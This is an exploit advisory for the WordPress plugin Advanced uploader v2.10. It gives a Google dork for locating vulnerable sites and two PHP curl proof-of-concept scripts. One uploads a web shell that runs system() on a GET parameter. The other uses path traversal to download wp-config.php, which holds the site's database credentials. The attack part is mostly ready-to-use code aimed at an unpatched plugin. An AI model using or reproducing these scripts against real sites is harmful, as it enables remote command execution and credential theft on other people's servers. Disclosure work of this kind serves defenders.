WordPress Plugin Advanced uploader v2.10 - Multiple Vulnerabilities

#-Title: WordPress Plugin Advanced uploader v2.10 - Multiple Vulnerabilities

#-Author: KedAns-Dz
#- E-mail : ked-h (@hotmail. com)

#-Date: 05/12/15

#-Link Download : wordpress. org/plugins/advanced-uploader/

#-Google Dork: inurl:wp-content/plugins/advanced-uploader/

#-Tested on : Windows, Linux

#-Fixed in : ??

////////////////////////////////////////////////////////////////////////////////////////////

Description : 

Wordpress plugin Advanced uploader v2.10 is suffer from multiple vulnerabilities remote attacker can upload file/shell/backdoor and exec commands or disclosure some local files.

Solution:

Currently, we are not aware of any vendor-supplied patches.

-- Proof Of Concept --

File Upload :

<?php

// page : upload.php

// lines : 1030... 1037

$postData = array();

$postData['file'] = "@3xploi7.php";

/* 3xploi7.php : <?php system($_GET["dz"]); ?> */

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http:/[localcrot].com/wp-content/plugins/advanced-uploader/upload.php");

curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );

$buf = curl_exec ($ch);

curl_close($ch);

unset($ch);

echo $buf;

?>

File Download :

<?php

// page : upload.php

// lines : 1219... 1237

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http://$[target].com/wp-content/plugins/advanced-uploader/upload.php?destinations=../../../../../../../../../wp-config.php%00");

curl_setopt($ch, CURLOPT_HTTPGET, 1);

curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");

$buf = curl_exec ($ch);

curl_close($ch);

unset($ch);

echo $buf;

?>

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